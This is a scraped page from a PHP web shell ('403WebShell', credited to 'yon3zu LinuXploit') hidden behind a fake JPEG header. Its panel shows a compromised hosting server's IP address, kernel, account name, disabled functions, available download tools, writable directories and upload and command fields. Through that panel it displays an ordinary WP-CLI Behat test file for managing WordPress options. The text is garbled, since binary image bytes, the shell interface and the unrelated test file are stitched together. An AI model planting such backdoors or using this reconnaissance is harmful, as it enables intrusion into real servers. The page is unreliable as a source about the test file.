JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.59  /  Your IP : 216.73.217.129
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/.wp-cli/packages/vendor/wp-cli/entity-command/features/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/.wp-cli/packages/vendor/wp-cli/entity-command/features/option.feature
Feature: Manage WordPress options

  Scenario: Option CRUD
    Given a WP install

    # String values
    When I run `wp option add str_opt 'bar'`
    Then STDOUT should not be empty

    When I run `wp option get str_opt`
    Then STDOUT should be:
      """
      bar
      """

    When I run `wp option list`
    Then STDOUT should not be empty

    When I run `wp option list`
    Then STDOUT should contain:
      """
      str_opt	bar
      """

    When I run `wp option list --autoload=off`
    Then STDOUT should not contain:
      """
      str_opt	bar
      """

    When I run `wp option list --search='str_o*'`
    Then STDOUT should be a table containing rows:
      | option_name  | option_value  |
      | str_opt      | bar           |

    When I run `wp option list --search='str_o*' --format=total_bytes`
    Then STDOUT should be:
      """
      3
      """

    When I run `wp option list`
    Then STDOUT should contain:
      """
      home	https://example.com
      """

    When I run `wp option add auto_opt --autoload=no 'bar'`
    Then STDOUT should not be empty

    When I run `wp option list --search='auto_opt' --autoload=off`
    Then STDOUT should not be empty

    When I run `wp option list | grep -q "str_opt"`
    Then the return code should be 0

    When I run `wp option delete str_opt`
    Then STDOUT should not be empty

    When I run `wp option add option_one "ONE"`
    And I run `wp option add option_two "TWO"`
    Then STDOUT should not be empty

    When I try `wp option delete option_one option_two option_three`
    Then STDOUT should be:
      """
      Success: Deleted 'option_one' option.
      Success: Deleted 'option_two' option.
      """
    And STDERR should be:
      """
      Warning: Could not delete 'option_three' option. Does it exist?
      """

    When I run `wp option list`
    Then STDOUT should not contain:
      """
      str_opt	bar
      """

    When I try `wp option get str_opt`
    Then STDERR should be:
      """
      Error: Could not get 'str_opt' option. Does it exist?
      """

    # Integer values
    When I run `wp option update blog_public 1`
    Then STDOUT should not be empty

    When I run `wp option update blog_public 0`
    Then STDOUT should contain:
      """
      Success: Updated 'blog_public' option.
      """

    When I run the previous command again
    Then STDOUT should contain:
      """
      Success: Value passed for 'blog_public' option is unchanged.
      """

    When I run `wp option get blog_public`
    Then STDOUT should be:
      """
      0
      """

    # JSON values
    When I run `wp option set json_opt '[ 1, 2 ]' --format=json`
    Then STDOUT should not be empty

    When I run the previous command again
    Then STDOUT should not be empty

    When I run `wp option get json_opt --format=json`
    Then STDOUT should be:
      """
      [1,2]
      """

    # Reading from files
    Given a value.json file:
      """
      {
        "foo": "bar",
        "list": [1, 2, 3]
      }
      """
    When I run `wp option set foo --format=json < value.json`
    And I run `wp option get foo --format=json`
    Then STDOUT should be JSON containing:
      """
      {
        "foo": "bar",
        "list": [1, 2, 3]
      }
      """

  @require-wp-4.2
  @less-than-wp-6.6
  Scenario: Update autoload value for custom option
    Given a WP install
    And I run `wp option add hello world --autoload=no`

    When I run `wp option update hello universe`
    Then STDOUT should not be empty

    When I run `wp option list --search='hello' --fields=option_name,option_value,autoload`
    Then STDOUT should be a table containing rows:
      | option_name  | option_value   | autoload |
      | hello        | universe       | no       |

    When I run `wp option update hello island --autoload=yes`
    Then STDOUT should not be empty

    When I run `wp option list --search='hello' --fields=option_name,option_value,autoload`
    Then STDOUT should be a table containing rows:
      | option_name  | option_value   | autoload |
      | hello        | island         | yes      |

  @require-wp-6.6
  Scenario: Update autoload value for custom option
    Given a WP install
    And I run `wp option add hello world --autoload=off`

    When I run `wp option update hello universe`
    Then STDOUT should not be empty

    When I run `wp option list --search='hello' --fields=option_name,option_value,autoload`
    Then STDOUT should be a table containing rows:
      | option_name  | option_value   | autoload |
      | hello        | universe       | off       |

    When I run `wp option update hello island --autoload=on`
    Then STDOUT should not be empty

    When I run `wp option list --search='hello' --fields=option_name,option_value,autoload`
    Then STDOUT should be a table containing rows:
      | option_name  | option_value   | autoload |
      | hello        | island         | on      |

  @require-wp-4.2
  @less-than-wp-6.6
  Scenario: Managed autoloaded options
    Given a WP install

    When I run `wp option add wp_autoload_1 enabled --autoload=yes`
    Then STDOUT should be:
      """
      Success: Added 'wp_autoload_1' option.
      """
    And STDERR should be empty

    When I run `wp option add wp_autoload_2 implicit`
    Then STDOUT should be:
      """
      Success: Added 'wp_autoload_2' option.
      """
    And STDERR should be empty

    When I run `wp option add wp_autoload_3 disabled --autoload=no`
    Then STDOUT should be:
      """
      Success: Added 'wp_autoload_3' option.
      """
    And STDERR should be empty

    When I run `wp option list --search='wp_autoload*' --fields=option_name,option_value,autoload`
    Then STDOUT should be a table containing rows:
      | option_name   | option_value   | autoload |
      | wp_autoload_1 | enabled        | yes      |
      | wp_autoload_2 | implicit       | yes      |
      | wp_autoload_3 | disabled       | no       |

    When I run `wp option update wp_autoload_1 disabled --autoload=no`
    Then STDOUT should be:
      """
      Success: Updated 'wp_autoload_1' option.
      """
    And STDERR should be empty

    When I run `wp option update wp_autoload_2 implicit2`
    Then STDOUT should be:
      """
      Success: Updated 'wp_autoload_2' option.
      """
    And STDERR should be empty

    When I run `wp option update wp_autoload_3 enabled --autoload=yes`
    Then STDOUT should be:
      """
      Success: Updated 'wp_autoload_3' option.
      """
    And STDERR should be empty

    When I run `wp option list --search='wp_autoload*' --fields=option_name,option_value,autoload`
    Then STDOUT should be a table containing rows:
      | option_name   | option_value   | autoload |
      | wp_autoload_1 | disabled       | no       |
      | wp_autoload_2 | implicit2      | yes      |
      | wp_autoload_3 | enabled        | yes      |

  Scenario: Extra removetrailingslash sanitization for whitelisted options
    Given a WP install

    When I run `wp option update home 'http://localhost/'`
    Then STDOUT should be:
      """
      Success: Updated 'home' option.
      """

    When I run `wp option update home 'http://localhost/'`
    Then STDOUT should be:
      """
      Success: Value passed for 'home' option is unchanged.
      """

  Scenario: Bad values for autoload
    Given a WP install
    When I run `wp option add str_opt 'bar'`
    Then STDOUT should not be empty

    When I try `wp option list --search='auto_opt' --autoload`
    Then STDOUT should not be empty
    And STDERR should be:
      """
      Warning: --autoload parameter needs a value
      """
    And the return code should be 0

    When I try `wp option list --search='auto_opt' --autoload=nope`
    Then STDOUT should be empty
    And STDERR should contain:
      """
      Error: Value of '--autoload' should be
      """
    And the return code should be 1

    When I try `wp option add str_opt_foo 'bar' --autoload`
    Then STDOUT should not be empty
    And STDERR should be:
      """
      Warning: --autoload parameter needs a value
      """
    And the return code should be 0

    When I try `wp option add str_opt_foo 'bar' --autoload=bad`
    Then STDOUT should be empty
    And STDERR should contain:
      """
      Error: Parameter errors:
      """
    And the return code should be 1

Youez - 2016 - github.com/yon3zu
LinuXploit